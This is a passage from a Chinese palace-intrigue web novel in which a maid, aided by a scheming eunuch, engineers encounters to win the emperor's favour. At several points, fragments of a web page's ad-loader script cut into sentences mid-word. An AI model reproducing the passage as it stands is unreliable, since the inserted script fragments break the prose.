在安静的大殿里，这响动直惊人心，侍立四周的宫女宦官皆尽无声地跪地。卫湘也跪下去，却大着胆子，比规矩要求得略直着两分身，樱唇颤抖不已。 这颤抖半是装的，半也是真的。她虽有图谋，却也怕当真触怒圣颜。 天子经那一口热茶，不止呛了一下，虑事的思绪也被斩断，不由生出怒色。正欲训斥，目光寻到了奉茶之人，不受控制地一顿，万般怒火倏然在这一顿间熄了大半。 于是他虽仍皱着眉，但语气已难觅不快了：“是你。” 卫湘跪在地上，双臂紧紧将那方金丝楠木托盘抱在怀中——这是极不合礼数的，若按规矩，托盘就应好好托着。 可她还是决意如此，因为这样最能凸显恐惧。 她颤抖着，酝酿出两分因恐惧而生的哽咽：“陛、陛下恕罪……奴婢头一日当差，唯恐出错，不成想反倒……” 她说到这里便噎了声，好似怕得说不出了。 以御案的位置，她这般略直着身、犹低着头，皇帝虽能认出她是谁，却不足以看清她的神情，便只隐隐瞧见她羽睫上沾了一点微光，想是眼里转了泪，不敢流出，眨眼间又沾到睫毛上。 鬼使神差的，皇帝竟看得出神了，然这出神也只有两息，卫湘就听上面又贯下声来：“不成想什么？” 10.结盟 只听这声，难辨喜怒，可比之方才那句“是你”，这声音又清朗了许多。 卫湘将心神稳住：“奴婢……知晓陛下素日喝七分热的茶，但想着从耳房端来还有些距离，陛下又未见得当即就喝，只怕喝时便凉了，就多了留了一分热度，却不料……不料画蛇添足……” 她越说到后面越是局促，声音便虚下去，紧抱住托盘的双臂颤意也愈发明显，娇弱尽显。 天子的目光又在她面前停了一刹，便挪开了。他信手拿起一本奏章，一壁翻开，一壁淡泊道：“是朕自己呛了，倒未觉得茶烫。你不必紧张，退下吧。” “谢陛下。”卫湘如蒙大赦般松一口气，站起身，总算将那紧抱在怀的托盘松开，好好端在手里，垂首向外退去。 旁的宫人亦无声地起身。皇帝未再说什么，卫湘猜他当是在认真看那奏章了，便终是忍不住抬了抬眼皮，第一次看清了这位年轻帝王的样貌。 那是一张好生出众的面孔，五官如雕如琢，但并无容承渊那样的阴柔，却多了许多英气与贵气，眉目不怒自威。 卫湘想，这大概便是与生俱来的帝王之姿，因而有那么一瞬，她觉得自己实在是不知天高地厚，才会想往这样的人身边谋划。 可这念头也只是一划，便就罢了。从前的日子暗无天日，纵使万般隐忍也仍难以自保。 既是这般，她宁可舍出命去攀一攀这富贵无极的人物。 哪怕摔个粉身碎骨，也算得图了个痛快。总好过在那昏暗的永巷里浑浑噩噩地捱过一生，被欺凌、被羞辱，直至支离破碎也无人知。 退出正殿，卫湘不知接下来是否还有别的差事，不敢擅离，就仍回了那间耳房。 其间偶有宫人进出，但并无人多与她搭话，更没人吩咐她什么，个个目不斜视，近乎刻意地忽略她的存在。 等了约莫半个时辰，卫湘听到外头有宦侍轻声问安：“掌印。”便向门口看去，正看见一尘不染的黑靴迈过门槛，黑靴之上，银灰曳撒整齐的褶子随脚步开合。 卫湘低眉敛目地深福：“掌印。” 这一次，容承渊站定脚步便回身阖上了门。 卫湘心下对这等权宦本就存着阴影，见他这样精神骤然紧绷，然又不好显露什么，只得强自维持住平静，乖顺地立在那儿。 容承渊踱过她身前，落座到那茶榻上。她便去沏茶，好好地晾到七分，再去端给他。 这其间谁也没有说话，容承渊亦未看她一眼，待得徐徐地将茶品了半盏，他终于轻哂一声，右手仍执着盏盖，视线落进盏中，欣赏着这盏挑不出分毫不妥的茶水说：“敢在御前做这种事，你胆子倒大。” 卫湘束手静立在侧，闻言欠身：“还要多谢掌印提点。” 话音未落，容承渊眼中凌光一现：“你可知你在说什么？” 卫湘呼吸一滞，方知这种事情不当道破，改口也快：“是奴婢会错了意。” 容承渊的笑意便又浮起来，犹是那种面具般的笑，乍看和煦，却从不达眼底。 卫湘凝神定气：“不知奴婢接下来当做些什么？” 容承渊噙着笑摇头：“回去好生歇息吧。” “就回去了？”卫湘不禁意外。 她还当既然喊她奉了茶，就是要她开始当值了。 容承渊向后靠了靠，舒展身体，连带着长缓气息。 他今日心情不错，于是颇有耐心地跟卫湘解释：“你五日前初见陛下，陛下只关照了你两句话；今日是第二回，仍是只一两句。我若安排你今晚就入寝殿，虽也合他的意，可你猜猜，你若让他这么轻易地得着了，他日后能珍惜你多少？” 他说话的口吻不疾不徐，透出一种语重心长的味道，仿佛老师在教学生。尾音带出的一丁点笑，又似兄长在帮妹妹谋划人生大事。 卫湘不禁怔忪，顺着他的话略作细想，自明其意。但紧跟着，她又觉出三分古怪，因为他好似真的在为她谋划，盼着她不仅能成事，还要得宠。 可这是不合情理的。 她与他并无什么交情，那天初见陛下时也是头一遭碰到他，她想不出她有什么理由让他这样操心。 卫湘思虑再三，觉得这事若不探明白，心里难安，索性直言问他：“掌印所言甚是。但奴婢不明白，掌印为何如此相帮？” 容承渊眼眸微眯，睇她一眼，约是觉得她有趣，那从不达眼底的笑竟往眼中略探了两分。 斟酌了须臾，他笑道：“你当我这位置好坐，随随便便就能手眼通天？” 卫湘略略一愣，旋即了然，却又生出新的不解：“奴婢以为，掌印早该安排妥了。” 这话也在理的。今上继位五年，容承渊就已做了五年掌印。若说需要一个天子枕边人才能让他“手眼通天”，那就不当拖到现在。 可容承渊的目光定在她面上，她说不清他的神色究竟是如何变化的，只觉他的目光阴冷下去，面具般的笑容消逝无踪，探入眼底的那两分更是消散不见了。 他带着三分玩味，轻描淡写地问她：“哈，你探我的底？” 冷涔涔的声线，让她想到毒蛇吐信。 卫湘慌得缩了缩脖子，可她不能不认，因为她的确想探他的底。 她如今的种种谋划只是想往上爬，并无所谓为谁所用，总归后宫派系林立，迟早是免不了站队的。 可后宫的派系往往在明，他这掌印却全然在暗，她便想知道如她这般的人在后宫还有几个、都是什么位份。 卫湘迎着这危险的逼视强缓一息，虽不敢与他对视，还是做出了冷静：“我只想知道，自己在掌印的里是什么位置，又有几分重要。” 这关乎他究竟会帮她到几分，在某些时候，或许也关乎她的性命。 此语说毕，那逼视就变轻了。容承渊的目光在她这张美玉般的脸上睃了个来回，笑容重新浮现：“如今的美人褚氏，乃是御前宫女得幸，无奈已失了宠；还有个莲嫔徐氏，原是东宫旧人，但因给先帝守孝 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 时太过劳累不慎小产，自此一蹶不振。” 前者卫湘听说过，得宠有两三载，失宠也就是今年的事，后者算来失宠都已有四五年了。 怪不得容承渊要物色新人。 她抬了抬眼睛，美眸中犹含探究：“只这两位么？” “怎么？”容承渊觉得好笑，目光直接迎上她的探究，倒显坦诚，“你是把我想成了什么野心勃勃的奸宦？” 眼见卫湘神情紧绷，他笑出了声：“我做的这件事，历任掌印没有不做的。一则是为探知陛下喜恶以便侍奉周全，二则是为自保，不为别的。” 倘使只为这两条，倒的确不需太多眼线。 卫湘点一点头：“奴婢明白了。” 容承渊极轻地“嗯”了一声，自觉该说的已都说了，无意再言一句，便自她面前走过，向门口去了。 卫湘正要施礼，他又停住脚，毫无铺垫地突然问她：“王世才那老东西，是我去料理了，还是留给你？” 卫湘心里暗惊，但很快按捺住了，平静地一福：“不敢劳掌印出手。” 容承渊点一点头，又道：“近来孝纯皇后陵寝重修，我已吩咐将姜氏重新入殓，算作随葬宫人葬入孝纯皇后陵。那地方是先帝费了心力挑的，风水极好，当能让姜氏早登极乐。” “……谢掌印大恩。”卫湘心中喜悦难抑，施了大礼，下拜谢他。可这喜是真的，惊意却更甚，容承渊提起的这两件事足以让她明白他对宫中万事的了如指掌。 她也不得不叹服，他是真的厉害，明明是在对她立威却能融在这样一份让她无法拒绝的大礼里，让她既对他心生敬畏，又不得不念他的好。 而他这样的人精，宫里还有多少呢？ 不论嫔妃、宫女、宦官，得凡能稳坐高位的，只怕哪一位都不会差的。 和他们比起来，她的道行太浅了。 卫湘出了耳房，折回后头的下房去，心事千重，纷纷扰扰，一时焦心于当下的悬而未决，一时忧虑于将来的艰险，一时又拿不准这般投靠容承渊究竟好是不好。 诚然，她也知道这都是庸人自扰。漫说前两件她做不了主，就是第三件，容承渊显然也并无什么与她商量的意思，而她亦无本事拒绝宫里这一等一的权宦。 她就这样怀着满腹心事回到她们这十余位宫女当下所住的院子，此时已近晌午，快到用膳的时候了，恰巧那位女官又被尚仪局喊去回话，便吩咐众人都回房歇着。 卫湘回来在院子里引起了一阵小小的骚动，她们都看到她被带去了紫宸殿，好奇发生了什么，但又恐她的身份已有所不同，不敢贸然上前搭话，一个两个就都涌到了窗前，巴巴地从窗缝里头瞧她。 卫湘对此自有察觉，但不去理，径自回了自己住的那间屋。 她们都是两人一间，与卫湘同住的那个女孩儿和卫湘一般年纪，也出自慈寿宫，却正经在敬太嫔跟前伺候过，专管奉茶的事，敬太嫔便从茶里挑了个名儿给她，唤作雪芽。 11.立冬 前阵子御前要添人，刚进宫的直接调来恐撑不住事，嫔妃之间又盘根错节，若从后宫调来用着不放心，御前这边的掌事女官便着人去找六尚局及几位安心养老的太妃太嫔问了一问。 敬太嫔见雪芽素来伶俐得体，就荐了她来。 这雪芽因在敬太嫔跟前侍奉过，自也是个知晓轻重的。她原坐在床边读书歇息，见卫湘回来，虽是好奇，却也不问，只问候了一声：“你回来啦！” 卫湘笑答：“回来了。” 雪芽低下头继续读书，卫湘也坐到自己床边去，兀自揣度了一会儿，开口唤她：“雪芽。” 雪芽抬头：“嗯？怎么了？” 卫湘斟酌着问道：“你可知那位容掌印，是个什么样的人？” 雪芽略微一怔，旋而笑了：“这我哪里懂呢？你知道的，我从前是在敬太嫔那里。敬太嫔平日不大出来走动，更鲜有事情能劳烦到御前来。我从未亲眼见过容掌印是什么样。” 卫湘指了指外头，又问：“那她们呢？” 雪芽摇头：“大抵也都没见过才是。” 卫湘眸光微凝：“这就奇了。既然都没见过，适才听闻是他过来，何以人人都兴奋激动，跑过去看热闹？” “这有什么奇的？”雪芽望着她笑出声来，眼睛打量着她，好似她这般问才真是“奇”的那个。 卫湘只做不解，雪芽敛了笑，耐心地告诉她：“都是存着奢想罢了！咱们做宫女的，虽是也有命数好的能被赐嫁出去，谋个官家夫人当当，可那才有几个呢？余下的进了这道门，大抵一辈子就都在这儿了。如此若能与个宦官结作对食，倒也可聊作慰藉——那你说说，这宫里的宦官，最好的能是谁呢？” 雪芽不知卫湘从前的事，便也不知她自听到“对食”二字起头皮就麻了。她反倒因此启了话匣，想这话题自是卫湘先提的，聊聊也无妨。 雪芽于是起身凑到卫湘这一边，挨坐在她身边，饶有兴味道：“宫女们都说容掌印不仅位高权重，而且生得俊美，我却从未见过，今儿也没瞧见正脸，但你必是瞧见了。快跟我说说，传言说得可真不真？” 卫湘犹在那股子麻意了回不过神，雪芽抱着她的胳膊晃了两晃，她才迟钝地反应过来雪芽好似问了什么，只得道：“是真的。” 她得承认，容承渊的确好看。 又听雪芽道：“这就是了。有权有钱又生得好看，谁不喜欢呢？”说着睇一眼卫湘，忽地明白了什么，点点头，“你不懂倒也正常。你生得这样美，自有旁的出路。断断没有去做甚劳什子对食的道理，这些事你沾不上。” 卫湘这会儿已全然从那下意识的恐惧里抽回了神，静了静，继续追问：“这位容掌印的权势究竟有多大？宫人们自是敬他的，那在后宫主子们面前呢？” “这话说的，这满宫里除了陛下与谆太妃，谁敢在他面前充主子呀？”雪芽掩唇直笑，“逢他生辰，敬太嫔都要用心备一份礼着人给送去。诚然到了太嫔生辰时他也会封个礼送来，瞧着备得也周全妥帖，可你说，这能一样么？” 卫湘不及说话，雪芽已快语如珠总结道：“我跟你这么说吧……后宫里不论身份高低，只消耳不聋眼不瞎脑子不笨的，没有哪个敢在他面前拿大。反过来说，若谁有本事攀上他这条线，那日后便处处都能得几分方便，哪怕不慎触怒圣颜，都能多两分活命的机会呢！” 雪芽话里话外的意思，已是在说这宫里若“圣心”是第一要紧，这位容大掌印的心就是第二要紧了。 卫湘缓缓点头，原先那颗瞻前顾后的心便定下来，觉得投靠容承渊或许真是桩实打实的好事。甚至生了些庆幸，觉得自己能被他主动找上乃是捡了个旁人得不着的大便宜了。 但捡便宜归捡便宜，自姜玉露走后，卫湘的心一夜间黯了下去，连带着性子也稳了许多。这会儿虽知自己背靠大树也仍不急不躁，易不敢放松，更不敢有半份差池。 因此在这日之后，她仍一丝不苟地与众人一同练习规矩。 只是那尚仪局的女官因为早前那一出，心下知晓她恐怕是容承渊的人，不敢再对她狠加约束。她只得自去央求女官，求她一如从前般严厉教导，言辞恳切地表了半晌心意，女官总算放松下来，点头答允。 . 紫宸殿。 楚元煜心系南方的疫病，忙于案牍之间，宫人们不敢惊扰，都分外安静，无论换茶还是研墨都没有半点声音。 如此一直忙到将入夜时，先后三波前来议事的朝臣陆续告了退，许多事有了些眉目，楚元煜才得以略松口气。 这般成日忙碌之后，入睡总不大容易，他便着宫人取了本闲书来，打算稍读上两刻，聊做缓神。 容承渊应了吩咐，亲自去了一趟，不过片刻便取回一册书，乃是不日前由翰林院新送进宫的话本子。 楚元煜坐在案前信手翻阅，只读了几页，书中剧情写道那主角入了仙境，烟云朦胧间闻得佳人啼哭，便循声而望，遂入一□□，曲径通幽，沿着走了近乎百丈之遥，又现一树，枝繁叶茂，碧绿成荫，宛若伞盖。 树下跌坐一仙女，姿态婀娜，似是崴了脚踝，正嘤嘤啜泣，晶莹泪珠好似珍珠，令人生怜。 楚元煜读到这一幕，心中浮起一个同样崴了脚踝的人影。那张不算陌生、亦不算熟悉的脸令他不禁一怔，画面便停下来，任由他多看了两眼，但也只那么一瞬，他眉宇倏皱，就强将这画卷般的一幕挥去了。 他素来自持，虽是后宫嫔妃不少，却从不沉溺于此，当下便也没把这偶然浮现的画面当一回事，挥去也就不想了。 然接下来几日，少女姣好的容颜却总时时浮现，在怔神间、在睡梦中、在晨起时。 楚元煜仍是时时将这般思绪按住，不肯放纵多想，心下却也不得不感叹 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ，她果真是生得美的。 他身为帝王，见过的美人虽多，可大多美人不过身形、脸型、眉眼、鼻与唇中又那么一两样极致好看，余者总有一两处平平。又或本都极致，结合起来却不甚完美。 唯一个她，身姿曼妙，肤若凝脂，桃腮樱唇，眼若星辰，连那一丝不苟梳成发髻的乌发都透着出众的柔与亮。 偏他两次见她的时候，她一次本就扭了脚踝含着泪，另一回则是被他吓着，惊得泪盈于睫又不敢落，更令人心生怜意，难以忘怀。 所幸这几日实在忙碌，楚元煜便也得以不在此事上多费心神，脑海中每每浮现她的影子，他压制下去，再投身与别的事情，就可暂不去想了。 只是极偶尔的，他会不自禁地环顾四周，想看她今日是否入殿当差，可不知为何，竟一次都未得见。 如此这般，他又不好专门开口问一个宫女的去处，便不免一阵失落。只是极为短暂，甚至连他自己也不曾察觉，自就可与那时时浮现的身影一样可略过不提了。 . 紫宸殿后的下房里，一连数日，卫湘的日子过得平静。容承渊没再来说过什么，卫湘当然也不能主动央人去问。 过了三四天，容承渊忽而遣了个小宦官过来，避着人，暗地里给了她一方木匣，嘱咐她仔细瞧瞧，而后搁下匣子就走。 卫湘不明就里，打开匣子，只见是两本书册，却无书名。待得翻开，乍见原是两本描绘精美的房中之图，霎时一声低呼，信手将书扔出去一丈远。 可书虽扔出去了，方才扫见一眼的画面却像刻在了脑子里。卫湘羞得面红耳赤，呼吸急促，好生缓了半晌，却也明白容承渊为什么要她看这个，终是撑着羞赧去将书拾了起来。 是以自这日后，卫湘里白日学规矩，做得端庄大方。晚上则缩在床帐里，支着烛台，在昏黄灯火下学这些功夫。 她觉得自己仿佛成了那些鬼怪奇闻里的画皮女妖，虽生了副姣好动人的皮囊，白日里也能充得端庄大方，夜里却总要显出原型，化作吸人阳气的□□。 如此日复一日，天气不觉间又转凉一重，正经立冬了。 容承渊在立冬的第三日下午终于又来寻她，这回却没再亲自跑一趟，只差了个小宦童来，引她去紫宸殿西边的一方院里。 这是容承渊在宫里的住处。其实他在京中自有府邸，此处只供平日随意歇息罢了，但因他的身份放在这儿，便仍有一方正经的三进院落。 那小宦童带着卫湘直入内院正屋，进门后又向右拐，就是卧房。他不再往里走，只欠身一引，示意卫湘进去。 卫湘刚迈过门槛，身后的门就关上了。 一块紫檀木雕山水屏风立在卫湘面前，使她完全看不见房里，房里也瞧不见她。 她便在这屏风前好生深呼吸了两次，方移步从右侧绕过去，眼帘稍抬半寸，就看到容承渊。 12.添香 他仍穿着那身银灰色的曳撒，配着黑靴，此时正坐在茶案旁的八仙椅上，坐姿很有些垮，几是四仰八叉瘫在椅子上，双手各自搭一扶手，这过于随意慵懒的姿态显得很有些无所事事。 卫湘向他垂首问安，他笑了笑：“来了？”顺着尾音，浅打了个哈欠。 卫湘复又上前几步，在他身前略侧一点的位置束手站定，一副乖乖听吩咐的模样。 容承渊觑她两眼，也不卖关子：“如今南方的疫病减弱了，朝廷拨去的药材也已陆续到了地方，陛下松了口气，今日心情不错。” 说着语中一顿，放缓的口吻意味深长：“为着这场疫病，陛下无暇顾及其他，已有近一个月不曾踏足后宫了，亦不曾召幸嫔妃来紫宸殿。” 卫湘当然明白这话的意思，双颊染上一层绯红，连自己都觉出了那份烫，虽迫着自己回话，声音却不受控制地低下去：“还求掌印提点。” 容承渊往椅子上挪了一挪，又往右微靠，以手支颐，带着几许玩味欣赏她的美貌与羞怯：“一会儿你进去给香炉添香。陛下素日都用龙涎香，但今日既是心情好，你换一种香料也无妨。至于换什么，你自己拿主意便是。” 卫湘点点头：“诺。” “还有，这个给你。”他说着站起身，走到几步外的木柜前。卫湘连忙跟着，便见他拉开抽屉，取出一物，回身递给她。 卫湘双手接过，定睛见是一枚小小的圆形木盒，上刻有花纹，纹又描金，甚是精美。 容承渊不必她问，便说：“这是暹罗进贡的香膏，总共四枚。一枚陛下献给了谆太妃，另有两枚各赐了皇后与清妃。” “余下这枚，因盒底被磕坏了，被我扣下了，你用得上。” 他声线平淡地说着这东西的经过，卫湘静静听着，听到后一句，便将盒子翻过来查看底部，果见那木质盒底有明显的损坏，变得凹凸不平。 这样的东西，自是拿去送人、赏人都不好了的。 然她再做细看，却发现那并不像磕碰，倒似有人将指甲硬扣进去，刻意划坏的。 想到这里，卫湘的视线便鬼使神差地向容承渊的手上瞟了一下，转瞬反应过来，又匆匆收回。 ……做什么呢！ 便当真是她想的那样，他这堂堂掌印也不必亲自动手去抠，那多滑稽呀！ 卫湘在心下笑骂自己，面上倒还是在规规矩矩地向他道：“多谢掌印。” 容承渊耳闻这句柔弱诚挚的道谢，目光不觉循着声音压低，寻到声音的来处，却见红菱般的漂亮樱唇间掠过一笑，似带几许促狭。 他看得不真切，不由眯起眼睛，凝神细观，但已觅不着了。 那抹嘲弄转瞬即逝，好像是他看错了。 他蹙一蹙眉，虽好奇她心里到底转了什么事，但终未开口探问，只淡声道：“去吧。” “奴婢告退。”她又规规矩矩地福身，低着眼帘，安然告退。 容承渊的目光始终落在她身上，她始终是这副恭敬的模样，不论礼数还是仪态都挑不出分毫不妥，便是容承渊也得说，恐怕没人能比她做得更像样了。 终于，她退过了门前遮挡的那道屏风，容承渊就看不着她了。他于是收回目光，明明心下还在暗赞她的礼数，眼前却浮现了方才她唇角划过的那一抹促狭。 他不觉凝神，活动了一下脖颈，发出一声笑：“这次养了只狐狸，也不知能不能比前头那两位更中用。” . 卫湘退出容承渊的院子就去了紫宸殿，入了耳房。 在耳房里，她又见到了头一日来时见过的琼芳，琼芳见到她简单地打了声招呼，就将她带到一只半人高的木柜前，笑吟吟地告诉她：“香料尽在这里面了，你看着用吧。” 这话说得简单，既不问究竟、也不提是非，更没什么别的提点，好似只是一桩简单的吩咐，但又不失亲热，就好像她们是一双早已熟络的姐妹，日日都一起这样做事。 卫湘于是也笑起来，点点头，向她道了声谢。 琼芳又言：“你等陛下用完晚膳便进去添香就是。我先忙去了。” “姐姐慢走。”卫湘福身，琼芳这便走了。 卫湘待她出了门，就看向眼前柜中，柜子里有瓷瓶、瓷罐，也有匣子、锦盒，装的都是不同的香料。香炉也搁着两只，但都不大，做工也不多么繁复华贵，想来并不是天子所用，只是素日放在这里供宫人试香的。 卫湘望着这满柜的东西，心里发了怵，因为她对香料实在毫无所知。 她从前待过的浣衣局、造钟处、花房都是在寻常不过的地方，她的身份又不高，用不着什么好东西，就香品这一门来说，闻着不刺鼻对她而言就算不错了。 后来去了慈寿宫，见着的几味香倒是比从前的好了不少，可一则仍是给她们宫女用的，远不及这些；二则她待的时间也太短，只见过那么几种，尚不够她品出什么门道。 是以方才容承渊跟她说要她去添香、还要她自己挑香，她就已觉不好，但她又不敢将这些不足显露给容承渊，生怕断了自己的路，只得暗暗祈祷可选的香品不多，她随意选上一种自己闻着好的，多半也不出错。 可当下这么一瞧，柜子里的香品有百种都不止。虽是上面都贴着签子写有香名，她也全然想象不出它们是何种味道。 卫湘心下慌意渐盛，遂深吸口气，强令自己平静两分。 又掏出怀表看了看，见当下正是三点，离皇帝用膳应还有约莫两个小时，想着还是可尽一尽力，或能试个合适的出来。 卫湘便捧出一只香炉，放在茶榻的榻桌上，开始挑选香品。 她虽对此道分毫不通，挑选也仍有些巧思。 她想：若是得皇帝喜欢的香料必会常用，便会放在近前，那些放得太靠后的瓶罐就索性不必碰了。同理，放得虽靠前但上头落了细灰的亦不碰，封签尚未开启过的同样不碰。 如此她很快就挑 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 出二十种香来，一一放在托盘中，同样端去榻桌上。 她勉力凝神静息，取来火折，耐心去试，但试了三五种只觉样样好闻，也不知谁比谁强，更不知哪一种合天子当下的心境。 再往后试，因试的种类太多，前头的味道不及消散，新的又添进来，嗅觉渐渐失灵，更连好赖也试不出了。 又熄掉一味香，卫湘不由灰心，叹了口气，怔在茶榻上，呆坐出神。 她这般出神时手上总爱乱动，或手指互勾互捏，或搅弄裙带，或揉扯衣边衣袖。 如此一揉扯衣袖，她忽而摸到一枚小小的圆形硬物。只怔忪一瞬，卫湘就意识到那是容承渊给她的那枚香膏，不禁心思转动，继而突然寻得了答案。 香料若胡乱混杂，气味极易浑浊难闻，容承渊既给了她这香膏，她就当寻一种能与这香膏搭配得宜的香饵来。 所谓谜底就在谜面上！ 有了这般思路，卫湘重新振作，等味道又散了一散便再行试来。 她将香膏涂于虎口处，再一一燃那香饵，这回只试到第四种，便有了合适的。 卫湘执起那盛香饵的瓷瓶瞧了瞧上头的名字：雪中春信。 她记下这名儿，总算舒了口气，而后不忘将桌上先收拾了，连这瓶“雪中春信”也暂且都收回柜子里去。接着姑且出了耳房，绕至殿侧宫道上吹了会儿风，将适才沾染的熏香味尽数吹去，又折回耳房安然静等。 这般再等不到半个时辰，内殿传了膳。又过半个时辰，晚膳撤了出来。 卫湘遂于腕上、颈间各添了些香膏，再将那瓶“雪中春信”取出来，端着托盘往内殿去。 紫宸殿内殿，楚元煜正随意地踱步消食。今日得以放松，他此时刻意地不想那些政务，胡乱想些有的没的，一时是这几日闲读了没多少的话本子，一时又顺着话本所述想起先时所见的曼妙佳人。 因此卫湘捧着香饵入殿添香时，他只余光略扫了眼，并未多加留意。直至香饵入炉，清幽淡雅之气渐次飘出，乍闻清冽，后又多几分柔和之态，似缱绻春暖拂过寒雪，他不自禁地深吸了口气。 继而他便发觉，这并非他最常用的龙涎香，便下意识地略回过身，向那香气地来处扫了一眼。 只这一眼，楚元煜身形定住。 他的确素日自持，莫说沉溺美色，便是偶然冒出的念想也被他及时挥去。 他以为自己克制得极好，然此时一见竟骤然溃败。 他看着面前安然添香的宫女挪不开眼，继而幡然醒悟，这才知自己这几日究竟有多念她。 这种醒悟让他无地自容。 他平素看不起以貌取人之事，总想着即便是男女之间，也当是更看重内涵修养。 可她实在太美了，美到自带一股出尘仙气，令人见之忘俗。此时，她只是立在那里微欠着身做这再寻常不过的事，也令周遭的气质都似乎随她变了。 有她的地方，就成了一卷画。 13.品香 年轻帝王的呼吸不自觉地放轻，殿中的氛围也微妙地变了。然御前当差的这些人一方面眼观六路耳听八方，一方面规矩却又极好，是以此时虽察觉到那股微妙的转变，却仍个个眼观鼻、鼻观心地侍立，身形不动分毫。 半人高的象牙香炉前，卫湘亦觉察了那移不开的目光，却只能当作未觉。 他是天子，她是宫女。她总不能因为他多看了两眼，就巴巴地问他在看什么。 她于是安然添好了一鼎炉子的香，又去添对面的另一鼎。 燃好的香饵刚盛在小圆桶碟里送进去，卫湘听到一句：“这是什么香？” 她做出一怔，循声先回头看了眼，接着她仿佛这才惊觉是天子问话，福身有些匆忙：“回陛下，这香是……雪中春信。” 两人一问一答，便算搭上了话。楚元煜稳了稳心神，终于向她走去。 才行两步，他心里竟有点慌，因她美得太脱俗，现下虽是低眉敛目地立在那里也如同仙子降世，便让人禁不住地生出小心，唯恐惊了入世之仙。 楚元煜竭力压住这些念头，又行几步，忽有一缕异香穿过那“雪中春信”的味道，丝丝缕缕地探到他面前来。 这香与雪中春信是一样的清新柔和，但又比雪中春信略多一分甜。二者一并出现，便似有少女欢笑着踏过初春的薄雪，手中或还执着风筝，眉眼弯弯，只凭笑音便足以驱散余寒。 再行两步——楚元煜忽而惊觉，自己适才一时走神，此时便已离她很近了。 二人之间只余不足半米，在并不熟悉的主仆之间，这距离令少女眼中生出惊惶与不解。 她并不敢抬眼，他便看到她美眸闪烁，只得忙定住脚，强用适才的话题来救场：“谁选的这香？” “是奴婢自己选的……”卫湘的声音放得很轻，“外头冷得很，奴婢想若能借这香觅得几许春意，也显得和暖一些。” 说罢，她好像再撑不住他走近带来的威压，终被心底的失措击溃，便跪下去：“陛下若不喜欢，奴婢这就去换一种来。” 楚元煜深深地缓了口气，不知自己是如何伸出的手，只是再回神时，手已扶在她胳膊上。 她因而受惊，盈盈地抬起头，美目怔怔望着他。 他们第一次这样四目相对，楚元煜觉得心弦仿佛被一只无形的手触动，用力按了弦，令他心跳不稳，呼吸也滞住。 卫湘见他这般失神，自是不用费什么力气便知他已心动。她心中窃喜，然面上仍只是那副无辜与无措，被他扶住的胳膊也只僵着。 等了良久，她终于听到他的下一句话：“你调来紫宸殿当差了？朕还不知你的名字。” 卫湘便低了头，仍未顾上挣开他扶住她的手，只屈膝福了福：“奴婢姓卫，单名一个湘字。承蒙陛下垂怜，如今是调来紫宸殿了。” 楚元煜点了点头：“卫是哪个卫，湘又是哪个湘字？” 卫湘略微歪头，想了一想，好些有些苦恼地微微蹙眉思考，倒平添了几分俏皮：“就是……好写些的那个卫姓，不是有‘鬼’的那个魏。湘字，是潇湘的湘。” “‘不是有鬼的那个魏’。”楚元煜身边向来都是饱学之士，哪听过这样的解字，一时忍俊不禁，“这话让姓‘有鬼的那个魏’的人听了，可要记你的仇。” 卫湘双颊绯红，低头呢喃道：“奴婢读的书少，一时想不到如何说得清，只得这样讲，让陛下见笑了。” 出尘仙女般的面孔，说这话时的两分窘迫也让人赏心悦目。 楚元煜目不转睛，口中笑道：“下次只说是‘精卫填海’的卫，或是‘冯陈褚卫’的卫，便不出错了。” 卫湘眼睛一转：“是了！”继而目露喜悦，宛如解了一个多年的困扰，因而一时顾不得礼数，抬头望向他，眼里既有感激又有仰慕，“多谢陛下。” 这四个字她竭尽所能地说得真心实意，因为她太知道男人有多享受女儿家的仰慕。他虽坐在那万人之上的位子上，从不缺对他仰慕之人，但此时他正对她动心，她的仰慕必定也合他的意。 说到底，他是帝王、她是宫女，在这些事上她便使不得什么清高与欲擒故纵的法子。但她又不想去投怀送抱，不想显得多么浪荡，因此让他觉得她也心悦于他，就是最好的分寸了。 东侧的耳房之中，容承渊片刻前手下来禀说“卫氏已入殿奉香”，便优哉游哉地过来了。但他没有急于入殿去，只是在耳房里等着，等到戌时，也就是怀表走到晚上七点的时候，就毫不意外地等到了尚寝局的人。 尚寝局一如既往地是遣了两个宦官过来，每人端着一方托盘，上置绿头牌数块，写有六宫妃嫔的宫室与封位。 这是个很简单的差事，他们只需将托盘端进去，等皇帝翻过再退出来就行。若碰上前些日子那样皇帝顾不上的情况，直接打发他们走也没什么。 但今日，二人正要进殿，却被殿门口的宦官拦了。 二人正自一愣，那宦官上前两步，与其中一人耳语：“掌印大人在耳房。” 二人神色俱是一凛，虽不知何事，还是不敢耽搁地去了。 他们进了耳房，容承渊刚倒好三盏茶，自己坐在茶榻一侧，另一侧空着，面前还置了一张绣墩。 容承渊信手一引：“坐。” 两个宦官不知他葫芦里卖的什么药，吓得呼吸不畅：“掌、掌印？” “慌什么。”容承渊嗤笑，“现下你们怕是不方便进去。过来坐下，我们喝盏茶，你们再回尚寝局回话就行了。” 两人愈发不明就里，都想若是陛下还在忙，他们便该马上告退才是。 但看看面前的容承渊，他们又都笃信地觉得：掌印大人必有深意！ 二人于是各自搁下手中托盘，依言过去落座，虽然满心不安，还是硬着头皮与容承渊喝起了茶。 不得不说，容承渊的葫芦里虽然卖的未见得是好药，但备来待客的茶却是正经的好茶。两个人借着上好的茶香稳了 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 稳心神，目光交来递去了好几个来回，终是坐到茶榻另一侧的那个先开了口：“掌印，奴多一句嘴——敢问今日是不是有什么特别的事啊？” 绣墩上那个好悬没把茶喷出来。 他虽乐得当缩头乌龟让同僚去问明究竟，却没想到这位同僚问得这么直。 他又忙去看容承渊的脸色，却见这位容大掌印的笑容未减分毫，只是啧了一声，好似很是为难：“啧，这个嘛……不好说，说了便有揣测圣心之嫌，犯了大忌讳。” 对面那个被这话噎得干瞪眼，但也没法子。 如今满宫里头，约莫六七成的宫女宦官都对这位掌印马首是瞻，余下三四成大多都是宫嫔院子里的，自当各事其主。 唯独他们尚寝局处境尴尬。 